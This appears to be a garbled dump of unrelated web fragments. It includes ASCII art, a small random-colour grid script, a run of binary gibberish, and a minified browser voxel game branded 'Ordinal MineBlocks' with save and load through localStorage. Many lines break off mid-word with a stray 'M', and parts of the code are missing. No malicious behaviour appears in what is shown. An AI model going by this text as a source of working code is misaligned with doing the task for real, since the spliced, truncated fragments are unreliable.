'cllllllllllllllllllllllllllll:;;;;;codxc.           ...',;:;,,;,,;clod:.......'''',,,,,'.
.clllllllllllllllllllllllllllllllc:;;;::;;,'''''''',,;;;;:;;;:cc:;;;;,,,;;;;;;:::::;;,.
.:lllllllllllllllllllllllllllllllllllllcc:::;;;;;;;;;:;,,;:clllllllllcc:::::::ccllllc;.
.;lllllllllllllllllllllllllllllllllllllllllllllllllc::;;;:clllllllc::cclllllllccc:;,..
lllYOUREllllllllllllllllllllllllllllllcc::;;;:cllllllllllll:;;,'',;;;;;;;;,.
.;lllllllllllllllllllllllllllllllllllllllllll:;;;::clllllllllllllllllllc:;;:clllllllc;.
'clllllllllllS0llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc,.
.;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;.
.cllllllllllllRAND0Mlllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;.
'cllllllllllllllllllllllllllllM
lllllcc:::ccclllllllllllllllllllllllllllllllllllllllllllllllllc'
,llllllllllllllllllllllllllll:;,,,,,,,;;;;;;;;::::cccllllllllllllllllllllllllllllllllllcc:;'..
,llllllllllllllllllllllllllc;,,;::::::::::::;;;;,,,,,,,,,;;;;::cccllllllllllllllcc::;;;;;;;::'
,cllllllllllllllllllllllllc,,::::;,,,,,,,,,,;;;::::::::;;;,,,,,,,,,,,,;;;;;;;;;;;;;;;;:::::,.
.:llllllllllllllllllllllll:,;cc:::::::::;;;,,,,,,,,,,,,,;;;;:::::::::;;;;;;:::::c:::::;;,..
'cllllllllllllllllllllcclc;',;::;;;;;;::::::::::M
:::::;;;;,,;,,,,,,,,,,,,,,,,,,,,,,,,,,,,.
,clllllllllllllllllll;':ll:;;;;;;;;;;;;;;,,;;;;::::::::::c:::::::::::::::::::::::::::::.
':lllllllllllllllllll:,,:ccllllllllllllcc::;;;;;;;;;;;;,,,,;;;;;;;;;;;;;;;;;;;::::;;'.
.,;clllllllllllllllllc;,,,:llllllllllllllllllllllccccc::::;;;;;;;;;;;;;;;;;;'.....
..';:cllllllllllllllllclllllllllllllllllllllllllllllllllllllllllllllllc;..
..',;:cllllllllllllllllllllllllllllllllllllllllllllllllllllllc:,..                   M
...',;::cccllllllllllllllllllllllllllllllllllllllcc:,'..
.....'',,;;;:::::cccccccccccccc:::;;,,'....
                 ..............
                 </pre>--->
        display: grid;
        grid-template-columns: repeat(40, 10px);
        grid-template-rows: repeat(56, 10px);
        width: 400px;
        height: 560px;
        margin: 0 auto;
    border: 1px solM
background-color: #333;
background-color: #f00;
background-color: #68984c;
background-color: #fff;
  <div id="board"></div>
  const MAX_SIZE = 40;
  let GREEN_AMOUNT = 2;
  const boardElement = document.querySelector("#board");
  function getRandomColor() {
    const colors = ["black", "red", "green", "green", "white"];
    return colors[Math.floor(Math.random() * M
  function renderBoard() {
    boardElement.innerHTML = "";
    cells.length = 0;
    for (let i = 0; i < ROWS; i++) {
      for (let j = 0; j < MAX_SIZE; j++) {
        const cellElement = document.createElement("div");
        cellElement.classList.add("cell");
        cellElement.classList.add(getRandomColor());
        boardElement.appendChild(cellElement);
        cells.push(cellElement);
  function updateBoard() {
    for (const cell of cells) {
      cell.classList.reM
      cell.classList.remove("red");
      cell.classList.remove("green");
      cell.classList.remove("white");
      cell.classList.add(getRandomColor());
  document.onkeydown = function(e) {
    switch (e.key) {
      case "ArrowUp":
        INTERVAL = INTERVAL <= 100 ? INTERVAL : INTERVAL - 100;
        clearInterval(updateInterval);
        updateInterval = setInterval(updateBoard, INTERVAL);
      case "ArrowDown":
        INTERVAL += 100;
        clearInterval(updateInM
        updateInterval = setInterval(updateBoard, INTERVAL);
      case "ArrowLeft":
        if (GREEN_AMOUNT >= 2) {
          GREEN_AMOUNT -= 1;
      case "ArrowRight":
        if (GREEN_AMOUNT <= 3) {
          GREEN_AMOUNT += 1;
  let updateInterval = setInterval(updateBoard, INTERVAL);
'92<;8276?GZL?CUD67NkOU]`efe=KownbvZcea
.aA7Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
